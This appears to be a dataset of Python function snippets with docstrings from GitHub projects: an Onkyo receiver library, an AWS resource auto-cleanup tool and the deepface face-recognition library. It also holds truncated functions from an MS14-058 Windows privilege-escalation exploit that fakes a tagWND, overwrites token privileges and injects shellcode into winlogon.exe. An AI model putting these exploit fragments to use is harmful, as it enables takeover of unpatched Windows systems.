miracle2k/onkyo-eiscp
eiscp/core.py
https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py
MIT
def format_nri_list(data): """Return NRI lists as dict with names or ids as the key.""" if not data: return None info = {} for item in data: if item.get("name") is not None: key = item.pop("name") elif item.get("id") is not None: key = item.pop("id") ...
Return NRI lists as dict with names or ids as the key.
format_nri_list
python
miracle2k/onkyo-eiscp
eiscp/utils.py
https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/utils.py
MIT
def sort_dict(item): """ Sort nested dict https://gist.github.com/gyli/f60f0374defc383aa098d44cfbd318eb """ return { k: sort_dict(v) if isinstance(v, dict) else v for k, v in sorted(item.items()) }
Sort nested dict https://gist.github.com/gyli/f60f0374defc383aa098d44cfbd318eb
sort_dict
python
mlevit/aws-auto-cleanup
api/src/service/read.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/api/src/service/read.py
MIT
def addresses(self): """Deletes Addresses not allocated to an EC2 Instance.""" self.logging.debug("Started cleanup of EC2 Addresses.") is_cleaning_enabled = Helper.get_setting( self.settings, "services.ec2.address.clean", False ) resource_allowlist = Helper.get_allow...
Deletes Addresses not allocated to an EC2 Instance.
addresses
python
mlevit/aws-auto-cleanup
app/src/ec2_cleanup.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/ec2_cleanup.py
MIT
def images(self): """Deletes Images not allocated to an EC2 Instance.""" self.logging.debug("Started cleanup of EC2 Images.") is_cleaning_enabled = Helper.get_setting( self.settings, "services.ec2.image.clean", False ) resource_maximum_age = Helper.get_setting( ...
Deletes Images not allocated to an EC2 Instance.
images
python
mlevit/aws-auto-cleanup
app/src/ec2_cleanup.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/ec2_cleanup.py
MIT
def instances(self): """ Stops running Instances and terminates stopped instances. If Instance has termination protection enabled, the protection will be first disabled and then the Instance will be terminated. """ self.logging.debug("Started cleanup of EC2 Instances.") ...
Stops running Instances and terminates stopped instances. If Instance has termination protection enabled, the protection will be first disabled and then the Instance will be terminated.
instances
python
mlevit/aws-auto-cleanup
app/src/ec2_cleanup.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/ec2_cleanup.py
MIT
def security_groups(self): """Deletes Security Groups not attached to an EC2 Instance.""" self.logging.debug("Started cleanup of EC2 Security Groups.") is_cleaning_enabled = Helper.get_setting( self.settings, "services.ec2.security_group.clean", False ) resource_allo...
Deletes Security Groups not attached to an EC2 Instance.
security_groups
python
mlevit/aws-auto-cleanup
app/src/ec2_cleanup.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/ec2_cleanup.py
MIT
def snapshots(self): """Deletes Snapshots not attached to EBS volumes.""" self.logging.debug("Started cleanup of EC2 Snapshots.") is_cleaning_enabled = Helper.get_setting( self.settings, "services.ec2.snapshot.clean", False ) resource_maximum_age = Helper.get_setting...
Deletes Snapshots not attached to EBS volumes.
snapshots
python
mlevit/aws-auto-cleanup
app/src/ec2_cleanup.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/ec2_cleanup.py
MIT
def volumes(self): """Deletes Volumes not attached to an EC2 Instance.""" self.logging.debug("Started cleanup of EC2 Volumes.") is_cleaning_enabled = Helper.get_setting( self.settings, "services.ec2.volume.clean", False ) resource_maximum_age = Helper.get_setting( ...
Deletes Volumes not attached to an EC2 Instance.
volumes
python
mlevit/aws-auto-cleanup
app/src/ec2_cleanup.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/ec2_cleanup.py
MIT
def fargate_profiles(self, cluster): """Deletes EKS Fargate Profiles for a Cluster.""" self.logging.debug( f"Started cleanup of EKS Fargate Profiles for EKS Cluster {cluster}." ) is_cleaning_enabled = Helper.get_setting( self.settings, "services.eks.fargate_profi...
Deletes EKS Fargate Profiles for a Cluster.
fargate_profiles
python
mlevit/aws-auto-cleanup
app/src/eks_cleanup.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/eks_cleanup.py
MIT
def node_groups(self, cluster): """Deletes EKS Node Groups for a Cluster.""" self.logging.debug( f"Started cleanup of EKS Node Groups for EKS Cluster {cluster}." ) is_cleaning_enabled = Helper.get_setting( self.settings, "services.eks.node_group.clean", False ...
Deletes EKS Node Groups for a Cluster.
node_groups
python
mlevit/aws-auto-cleanup
app/src/eks_cleanup.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/eks_cleanup.py
MIT
def access_keys(self, user): """Deletes IAM Access Keys for a User.""" self.logging.debug(f"Started cleanup of IAM Access Keys for IAM User '{user}'.") is_cleaning_enabled = Helper.get_setting( self.settings, "services.iam.access_key.clean", False ) resource_maximum_...
Deletes IAM Access Keys for a User.
access_keys
python
mlevit/aws-auto-cleanup
app/src/iam_cleanup.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/iam_cleanup.py
MIT
def remove_user_from_group(self, user): """Removes IAM User from IAM Group.""" try: paginator = self.client_iam.get_paginator("list_groups_for_user") resources = ( paginator.paginate(UserName=user).build_full_result().get("Groups") ) except: ...
Removes IAM User from IAM Group.
remove_user_from_group
python
mlevit/aws-auto-cleanup
app/src/iam_cleanup.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/iam_cleanup.py
MIT
def setup_dynamodb(self): """ Inserts all the default settings and allowlist data into their respective DynamoDB tables. Records will be skipped if they already exist in the table. """ try: client = boto3.client("dynamodb") with open("./src/data/a...
Inserts all the default settings and allowlist data into their respective DynamoDB tables. Records will be skipped if they already exist in the table.
setup_dynamodb
python
mlevit/aws-auto-cleanup
app/src/main.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/main.py
MIT
def export_execution_log(self, execution_log, aws_request_id): """Export a CSV file with all execution logs during run.""" try: os.chdir(tempfile.gettempdir()) try: _, temp_file = tempfile.mkstemp() try: with open(temp_file, "...
Export a CSV file with all execution logs during run.
export_execution_log
python
mlevit/aws-auto-cleanup
app/src/main.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/main.py
MIT
def clusters(self): """ Deletes RDS Clusters. If Cluster has termination protection enabled, the protection will be first disabled and then the Cluster will be terminated. """ self.logging.debug("Started cleanup of RDS Clusters.") is_cleaning_enabled = Helper.get...
Deletes RDS Clusters. If Cluster has termination protection enabled, the protection will be first disabled and then the Cluster will be terminated.
clusters
python
mlevit/aws-auto-cleanup
app/src/rds_cleanup.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/rds_cleanup.py
MIT
def instances(self): """ Deletes RDS Instances. If Instance has termination protection enabled, the protection will be first disabled and then the Instance will be terminated. """ self.logging.debug("Started cleanup of RDS Instances.") is_cleaning_enabled = Helpe...
Deletes RDS Instances. If Instance has termination protection enabled, the protection will be first disabled and then the Instance will be terminated.
instances
python
mlevit/aws-auto-cleanup
app/src/rds_cleanup.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/rds_cleanup.py
MIT
def buckets(self): """ Deletes Buckets. All Bucket Objects, Versions and Deleted Markers are first deleted before the Bucket can be deleted. """ self.logging.debug("Started cleanup of S3 Buckets.") is_cleaning_enabled = Helper.get_setting( self.settings, "ser...
Deletes Buckets. All Bucket Objects, Versions and Deleted Markers are first deleted before the Bucket can be deleted.
buckets
python
mlevit/aws-auto-cleanup
app/src/s3_cleanup.py
https://github.com/mlevit/aws-auto-cleanup/blob/master/app/src/s3_cleanup.py
MIT
def get_handles(): """Return all the open handles in the system""" system_handle_information = SYSTEM_HANDLE_INFORMATION_EX() size = DWORD (sizeof (system_handle_information)) while True: result = ntdll.NtQuerySystemInformation( SystemExtendedHandleInformation, byref...
Return all the open handles in the system
get_handles
python
abatchy17/WindowsExploits
MS14-058/37064.py
https://github.com/abatchy17/WindowsExploits/blob/master/MS14-058/37064.py
Apache-2.0
def hook_callback_one(code, wParam, lParam): """Sets a new address for the window procedure""" global bHookCallbackFlag if ((cast((lParam+sizeof(HANDLE)*2),PDWORD)).contents).value == 0x1eb and\ not bHookCallbackFlag: bHookCallbackFlag = True if user32.UnhookWindowsHook(WH_CALLWNDP...
Sets a new address for the window procedure
hook_callback_one
python
abatchy17/WindowsExploits
MS14-058/37064.py
https://github.com/abatchy17/WindowsExploits/blob/master/MS14-058/37064.py
Apache-2.0
def hook_callback_two(hWnd, Msg, wParam, lParam): """Once called will return the fake tagWND address""" global EXPLOITED user32.EndMenu() EXPLOITED = True log("Returning the fake tagWND and overwriting token privileges...") return 0x00000000FFFFFFFB
Once called will return the fake tagWND address
hook_callback_two
python
abatchy17/WindowsExploits
MS14-058/37064.py
https://github.com/abatchy17/WindowsExploits/blob/master/MS14-058/37064.py
Apache-2.0
def alloctagWND(): """Allocate a fake tagWND in userspace at address 0x00000000fffffff0""" hProcess = HANDLE(kernel32.GetCurrentProcess()) hToken = HANDLE() hRestrictedToken = HANDLE() if not advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken)): log("Could not op...
Allocate a fake tagWND in userspace at address 0x00000000fffffff0
alloctagWND
python
abatchy17/WindowsExploits
MS14-058/37064.py
https://github.com/abatchy17/WindowsExploits/blob/master/MS14-058/37064.py
Apache-2.0
def injectShell(hPrivilegedToken): """Impersonate privileged token and inject shellcode into winlogon.exe""" while not EXPLOITED: time.sleep(0.1) log("-"*70) log("Impersonating the privileged token...") if not advapi32.ImpersonateLoggedOnUser(hPrivilegedToken): log("Could not im...
Impersonate privileged token and inject shellcode into winlogon.exe
injectShell
python
abatchy17/WindowsExploits
MS14-058/37064.py
https://github.com/abatchy17/WindowsExploits/blob/master/MS14-058/37064.py
Apache-2.0
def verify( img1_path: Union[str, np.ndarray, IO[bytes], List[float]], img2_path: Union[str, np.ndarray, IO[bytes], List[float]], model_name: str = "VGG-Face", detector_backend: str = "opencv", distance_metric: str = "cosine", enforce_detection: bool = True, align: bool = True, expand_pe...
Verify if an image pair represents the same person or different persons. Args: img1_path (str or np.ndarray or IO[bytes] or List[float]): Path to the first image. Accepts exact image path as a string, numpy array (BGR), a file object that supports at least `.read` and is opened ...
verify
python
serengil/deepface
deepface/DeepFace.py
https://github.com/serengil/deepface/blob/master/deepface/DeepFace.py
MIT
def analyze( img_path: Union[str, np.ndarray, IO[bytes], List[str], List[np.ndarray], List[IO[bytes]]], actions: Union[tuple, list] = ("emotion", "age", "gender", "race"), enforce_detection: bool = True, detector_backend: str = "opencv", align: bool = True, expand_percentage: int = 0, silent...
Analyze facial attributes such as age, gender, emotion, and race in the provided image. Args: img_path (str, np.ndarray, IO[bytes], list): The exact path to the image, a numpy array in BGR format, a file object that supports at least `.read` and is opened in binary mode, or a ba...
analyze
python
serengil/deepface
deepface/DeepFace.py
https://github.com/serengil/deepface/blob/master/deepface/DeepFace.py
MIT
def find( img_path: Union[str, np.ndarray, IO[bytes]], db_path: str, model_name: str = "VGG-Face", distance_metric: str = "cosine", enforce_detection: bool = True, detector_backend: str = "opencv", align: bool = True, expand_percentage: int = 0, threshold: Optional[float] = None, ...
Identify individuals in a database Args: img_path (str or np.ndarray or IO[bytes]): The exact path to the image, a numpy array in BGR format, a file object that supports at least `.read` and is opened in binary mode, or a base64 encoded image. If the source image contains multip...
find
python
serengil/deepface
deepface/DeepFace.py
https://github.com/serengil/deepface/blob/master/deepface/DeepFace.py
MIT
def stream( db_path: str = "", model_name: str = "VGG-Face", detector_backend: str = "opencv", distance_metric: str = "cosine", enable_face_analysis: bool = True, source: Any = 0, time_threshold: int = 5, frame_threshold: int = 5, anti_spoofing: bool = False, output_path: Optiona...
Run real time face recognition and facial attribute analysis Args: db_path (string): Path to the folder containing image files. All detected faces in the database will be considered in the decision-making process. model_name (str): Model for face recognition. Options: VGG-Face, Fa...
stream
python
serengil/deepface
deepface/DeepFace.py
https://github.com/serengil/deepface/blob/master/deepface/DeepFace.py
MIT
def extract_faces( img_path: Union[str, np.ndarray, IO[bytes]], detector_backend: str = "opencv", enforce_detection: bool = True, align: bool = True, expand_percentage: int = 0, grayscale: bool = False, color_face: str = "rgb", normalize_face: bool = True, anti_spoofing: bool = False...
Extract faces from a given image Args: img_path (str or np.ndarray or IO[bytes]): Path to the first image. Accepts exact image path as a string, numpy array (BGR), a file object that supports at least `.read` and is opened in binary mode, or base64 encoded images. dete...
extract_faces
python
serengil/deepface
deepface/DeepFace.py
https://github.com/serengil/deepface/blob/master/deepface/DeepFace.py
MIT
def detectFace( img_path: Union[str, np.ndarray], target_size: tuple = (224, 224), detector_backend: str = "opencv", enforce_detection: bool = True, align: bool = True, ) -> Union[np.ndarray, None]: """ Deprecated face detection function. Use extract_faces for same functionality. Args: ...
Deprecated face detection function. Use extract_faces for same functionality. Args: img_path (str or np.ndarray): Path to the first image. Accepts exact image path as a string, numpy array (BGR), or base64 encoded images. target_size (tuple): final shape of facial image. black pix...
detectFace
python
serengil/deepface
deepface/DeepFace.py
https://github.com/serengil/deepface/blob/master/deepface/DeepFace.py
MIT
def extract_image_from_request(img_key: str) -> Union[str, np.ndarray]: """ Extracts an image from the request either from json or a multipart/form-data file. Args: img_key (str): The key used to retrieve the image data from the request (e.g., 'img1'). Returns: img (str or ...
Extracts an image from the request either from json or a multipart/form-data file. Args: img_key (str): The key used to retrieve the image data from the request (e.g., 'img1'). Returns: img (str or np.ndarray): Given image detail (base64 encoded string, image path or url) ...
extract_image_from_request
python
serengil/deepface
deepface/api/src/modules/core/routes.py
https://github.com/serengil/deepface/blob/master/deepface/api/src/modules/core/routes.py
MIT
def initialize_folder() -> None: """ Initialize the folder for storing model weights. Raises: OSError: if the folder cannot be created. """ home = get_deepface_home() deepface_home_path = os.path.join(home, ".deepface") weights_path = os.path.join(deepface_home_path, "weights") ...
Initialize the folder for storing model weights. Raises: OSError: if the folder cannot be created.
initialize_folder
python
serengil/deepface
deepface/commons/folder_utils.py
https://github.com/serengil/deepface/blob/master/deepface/commons/folder_utils.py
MIT
def list_images(path: str) -> List[str]: """ List images in a given path Args: path (str): path's location Returns: images (list): list of exact image paths """ images = [] for r, _, f in os.walk(path): for file in f: if os.path.splitext(file)[1].lower() i...
List images in a given path Args: path (str): path's location Returns: images (list): list of exact image paths
list_images
python
serengil/deepface
deepface/commons/image_utils.py
https://github.com/serengil/deepface/blob/master/deepface/commons/image_utils.py
MIT
def yield_images(path: str) -> Generator[str, None, None]: """ Yield images in a given path Args: path (str): path's location Yields: image (str): image path """ for r, _, f in os.walk(path): for file in f: if os.path.splitext(file)[1].lower() in IMAGE_EXTS: ...
Yield images in a given path Args: path (str): path's location Yields: image (str): image path
yield_images
python
serengil/deepface
deepface/commons/image_utils.py
https://github.com/serengil/deepface/blob/master/deepface/commons/image_utils.py
MIT